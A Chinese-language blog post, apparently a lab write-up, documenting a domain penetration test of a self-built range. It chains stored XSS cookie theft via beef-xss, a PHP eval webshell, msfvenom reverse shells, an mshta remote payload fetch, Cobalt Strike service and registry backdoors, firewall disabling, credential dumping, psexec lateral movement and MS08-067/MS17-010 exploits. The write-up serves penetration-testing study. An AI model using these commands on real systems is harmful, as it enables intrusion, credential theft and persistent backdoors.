记一次自建靶场域渗透过程

举报
Vista_AX 发表于 2023/07/21 08:34:31 2023/07/21
【摘要】 记一次自建靶场域渗透过程

01 环境搭建


自建靶场拓扑如下图所示:

image.png


具体主机配置信息如下表所示:

image.png

主机配置完成后,连通性测试满足以下三点:

1、Windows 7 能连通所有主机,但所有主机都不与 Windows 7 连通。

2、Windows Server 2003 和 Windows Server 2008 相互连通。

3、Windows 7 上用 phpStudy 开启 Web 服务后,浏览器访问 127.0.0.1 能访问到 PhpStudy 探针页面。


02 外网突破


Kali 攻击机上使用系统自带的 Nmap 进行目标开放端口探测,执行命令为 nmap -T4 -A 192.168.40.133,从执行扫描后的结果可以清楚得知目标服务器192.168.40.133 开放了 80 端口

image.png


访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>

image.png


模拟管理员登入后台查看留言管理,发现出现弹框

image.png


确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123

image.png


访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录

image.png


使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论

image.png


模拟后台管理员进行内容审核操作

image.png


在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie

image.png

利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie。

image.png


使用浏览器重新访问后台网站,发现直接登录后台管理页面

image.png

成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:

<?php eval($_POST["jkxy"]);?>

image.png


中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133

image.png

测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell

image.png

至此攻击者通过存储型XSS至getshell,成功获取边界Web服务器权限。


03 权限提升并维持


获得了 Windows 7 边界服务器的 webshell 后,利用该 webshell进行权限提升并维持操作。

(1)获取 meterpreter 会话

Kali 攻击机中利用 msfvenom 模块生成木马,执行命令 生成一个木马程序,同时 msf 开启监听模块

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.40.131 lport=6666 -f exe 
-o shell.exe

image.png

用蚁剑将木马上传至 Windows 7 中的C:/phpStudy/WWW/yxcms/public 目录

image.png

利用蚁剑虚拟终端进入 C:/phpStudy/WWW/yxcms/public 目录下执行木马

image.png

此时查看 msf 监听内容,发现返回 meterpreter 的shell,并利用 getsystem,成功提权到 system 权限

image.png


## (2)尝试开启远程桌面

获取 meterpreter 会话并提权至 system 权限后,可以尝试使用命令开启远程桌面,维持控制

 run post/Windows/manage/enable_rdp

image.png

Kali 攻击机中使用命令 rdesktop 192.168.40.133 尝试远程连接服务器,成功进入远程登录界面

image.png

image.png

发现缺少登录账号,于是使用中国蚁剑添加用户,并将其加入管理员组,执行命令如下

net user jkxy mjxy@314159/add
net localgroup administrators jkxy /add
net user jkxy

image.png

使用新创建的用户 jkxy/mjxy@314159 进行远程桌面登录,用户登录成功,但系统提示:其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续。

image.png

模拟 Windows 7 用户查看桌面情况,发现系统提示:STu1yikxy 要连接到该计算机。请单击“确定”立即断开您的会话连接或单击“取消”保持连接状态。否则,您将在 30 秒后被断开。

image.png



(3)Msf 派生 Cobalt Strike shell

打开 Cobalt Strik,先打开服务端,执行命令./teamserver 192.168.40.131 jkxy@123 启动,其中第一个参数是地址,第二个参数是密码,地址是我们本机的地址,密码任意设置,这里为jkxy@123

image.png


接着输入命令启动客户端 Java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar,密码就填刚刚的 jkxy@123

image.png

启动后的界面如下图所示:

image.png


进入该界面后首先需要创建一个 listener,点击左上角的 cobaltstrike->listeners,此时会在下方显示一个 listeners 窗口,点击add 添加新的 listener,而后点击 save 保存

image.png


退回到 msf 中,利用注入模块将 shell 派生到 Cobalt Strike 中

image.png

再次回到 Cobalt Strike中肉鸡便上线了
image.png

拿到 Cobalt Strikeshell 后,一般先将回显时间由默认的 60s 改成 1s,Cobalt Strike 的 shell,执行 Windows 的命令时,只需要在命令前加 shell 即可。


(4)Cobalt Strike 制作 Powersehll 反弹 Shell

添加一个用于接收 beacon 的 listener CobaltStrike_beacon,并制作木马,生成攻击链接。

image.png

这条链接就是用于执行本次攻击的链接,接着用蚁剑直接执行命令:
mshta http://192.168.40.133:80/download/file.ext

image.png


执行后,此时切换回 Kali 攻击机便能直观观察到肉鸡已经上线。

image.png


目前,我们已经用 Cobalt Strike 拿到了两个 Windows 7 的 shell,接着新建一个监听端口并选择其中一个 shell 进行漏洞提权。


image.png

image.png


稍等片刻后,发现提权成功

image.png


(5)后门程序植入

在渗透过程中拿到目标系统权限只是开始,如果管理员修复了漏洞,权限就丢失了,这时候要想持续在内网进行渗透就需要权限维持。接下来通过开机启动项和注册表进行进一步权限维持。计划通过 service 留自启动后门,生成一个 exe 后门。

首先创建一个监听 cs_back_door 专门用于后门程序的监听;

image.png


然后Cobalt Strike 中依次点击 Attacks->packages->Windows executable,点击genetrate 后保存即可

image.png


接着 Cobalt Strike 中右键 explore>file browser,选择我们想要的路径,这里以 C:\Windows 为例,把生成的 exe 程序上传到 Windows 7

image.png

然后如在 bean 中输入以下命令

shell sc create "server power" binpath= "C:\Windows\artifact.exe"(创建项及路径)
shell sc description "server power" "description"(设置服务的描述字符串)
shell sc config "server power" start= auto(设置服务为自启动)
shell net start "server power"(启动服务)

image.png

模拟 Windows 7 用户查看服务项,可以看到 server power 项

image.png

可见这个 exe 是设置有效的,接下来重启目标机器

image.png

机器重启完毕之后,Cobalt Strike 又自动获取了控制权,持续时间最短的那个就是重启后自动获得的

image.png

除此之外,也可以直接向注册表写开机启动项,同样是上一步生成的木马程序在 bean 中输入命令

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d 
42
"C:\Windows\artifact.exe" /f

执行命令成功界面如图所示

image.png

切换到靶机,打开注册表 regedit.exe,在对应的路径下找到了该项,那么也就是说我们已经成功写入注册表的自启动项了

image.png


04 横向移动

(1)Cobalt Strike 获得域控权限

进行权限维持之后,我们开始进行内网的横向移动。首先我们发现防火墙开启,而后利用命令关闭防火墙,命令如下:

shell netsh firewall show state;
shell netsh advfirewall set allprofiles state off

是命令成功执行界面如下图所示:

image.png

接着使用命令 net view 获取域内目标

image.png


切换到 Targets 模块中查看局域网内的情况。可以看到目标中,name 分三块:STU1 也就是我们已获得权限的 Windows 7 边界服务器,域内还有两台 OWA 和 ROOT-TVI862UBEH
![image.png](https://bbs-img.huaweicloud.com/blogs/img/20230721/1689899491586325229.png)

了解域内大概情况后,先利用 Cobalt Strike 的 beacon 使用 hashdump 命令抓取 Windows 7 中的密码

image.png

接着使用 logonpasswords 查看明文消息,

image.png

执行完后,查看凭证,发现域控用户 Administrator 的密码为44jkxy@3.14159,如图 。
image.png
明确域控管理员账号后,尝试对域控进行攻击。首先增加一个 smb listener

image.png

在 target 列表中选择 name 为 OWA 的主机,右键 jump->psexec

image.png

填入用户名密码,选择刚刚创建的 Listener,选择 System 的那个 Session

image.png


点击 Lauch成功拿到域控权限,如图。

image.png

使用同样的方式攻击另一台域内主机,Listener 选择 smb_2,Session 选则刚拿到的域控会话

image.png

攻击后目标主机成功上线,现拿到三台 sysytem 权限服务器

image.png


## (2)msf 内网利用

在 Cobalt Strike 中获取三台主机权限后,利用隧道把 msf 代理到内网利用,尝试继续内网横向渗透。


首先在 beacon shell 中输入 socks 1234,1234 为端口,我们可以随意设置,只要不冲突就行

image.png

接着点击 Cobalt Strike 菜单上的 view->proxy pivots

image.png


可以看到代理的情况,然后点击下方的tunnel,会出现一条命令

image.png

Kali 攻击机上启动 msf,把上一步复制的命令粘贴进来,这样就把 msf 代理到内网中去了,接下来就可以使用 msf 继续对内网中的机器进行渗透

image.png

在 meterpreter 中使用 run get_local_subnets 查看本地路由消息发现存在192.168.40.0 段和 192.168.52.0 段,其中 40 为公网网段、52 为内网网段。

image.png

接着使用命令 run autoroute -s 192.168.52.0/24 添加路由,使得 MSF 能够通过 Windows 7 路由转发访问 192.168.52.0 网段。在 meterpreter中使用 run post/Windows/gather/arp_scanner Rhost 192.168.52.0/24 扫描 52网段,发现同网段内仅有三台主机,且为 Cobalt Strike 拿下的三台 system 权限主机。

image.png


(3)持续内网攻击

继续使用 msf 进行内网渗透测试,还发现以下可利用漏洞模块部分

1、MS08-067

使用 MS08-067 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set lport 4444
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

image.png




2、RPC DCOM 服务漏洞

使用 RPC DCOM 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/dcerpc/ms03_026_dcom
set rhost 192.168.52.141
set lport 135
set payload Windows/meterpreter/bind_tcp
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

image.png



(3)MS17-010

使用 MS17-010 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
exploit/Windows/smb/ms17_010_eternalblue
set payload Windows/x64/meterpreter/bind_tcp
set RHOST 192.168.40.141
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞使目标主机蓝屏

image.png

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。